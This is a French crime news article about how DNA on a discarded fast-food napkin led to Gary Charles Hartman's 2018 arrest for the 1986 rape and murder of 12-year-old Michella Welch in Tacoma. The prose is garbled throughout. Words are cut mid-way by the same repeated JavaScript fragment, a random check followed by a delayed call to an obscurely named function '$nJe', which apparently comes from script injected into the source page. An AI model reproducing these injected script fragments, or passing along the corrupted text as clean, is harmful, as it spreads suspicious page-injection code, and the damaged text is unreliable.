USA : le tueur trahi par une serviette en papier trente-deux ans après son crime

Vous ne  mangerez plus jamais au fast-food sans songer à cette hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire…

C’est l’un de ces crimes horribles qui marquent une communauté au fer rouge. L’une de ces affaires non élucidées qui revient, à intervalle régulier, faire les gros titres de la presse. Et dont on désespère de connaître un jour l’épilogue.

Michella Welch avait 12 ans lorsque son corps avait été retrouvé le 26 mars 1986, dans le parc Puget de la ville de Tacoma, dans l’Etat de Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ton, sur la côte ouest des États-Unis.

Il était 10 heures du matin lorsque la gamine était partie chercher des sdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andwiches pour ses deux petites sœurs. Son vélo et les casse-croûte gisaient abdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andonnés près d’une table de pique-nique. Michella, elle, n’était jamais revenue.

Quatre heures plus tard, on la retrouvait violée et égorgée. Quel monstre avait bien pu commettre un acte aussi atroce ? Qui plus est, en plein jour ?

Cette question, les enquêteurs et dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toute la population de Tacoma se la sont posée pendant des années. Des décennies. Trois pour être précis. Et trente-deux après les faits, la lumière vient de jaillir… d’une poubelle.

Car si les témoins se sont faits rares ou n’ont pas voulu délier leur langue, l’ADN, lui, ne demdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andait qu’à parler.

En 2006, la police avait réussi à isoler une trace en exhumant les restes de Michella. Mais elle ne correspondait à aucune autre contenue dans les fichiers ou les bases de données de la police.

L’assassin était un type prudent, sans doute bien inséré et surdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout, jamais condamné.

En 2016, un labo spécialisé dans la génétique et la généalogie est mis à contribution. Et soudain, le nom de deux frères apparaît : les Hartman. Ils vivaient à Tacoma a moment du meurtre.

Les enquêteurs tiennent leur première piste sérieuse depuis des lustres. Ils reviennent aux méthodes plus traditionnelles.

Filatures, surveillance. Qui des deux frères peut bien avoir fait le coup ?

L’obstination et la patience de la police paie finalement lorsque l’un des deux frangins, Gary Charles Hartman, quitte un fastfood une serviette en papier à la main. Il s’essuie la bouche avec et, d’un geste machinal, la jette dans une poubelle.

Illustration ©Shuttersdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tock

Geste machinal, mais geste fatal. Les policiers saisissent l’objet, font pratiquer une nouvelle analyse ADN. Bingo. Gary est leur homme. Un infirmier de 66 ans, collectionneur de voitures anciennes, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}totalement inconnu de leurs services.

Un inconnu qui dort désormais en prison pour un crime commis trente-deux ans plus tôt. Et dont la caution a été fixée à 5 millions de dollars.

 

Source: Le Nouveau Détective

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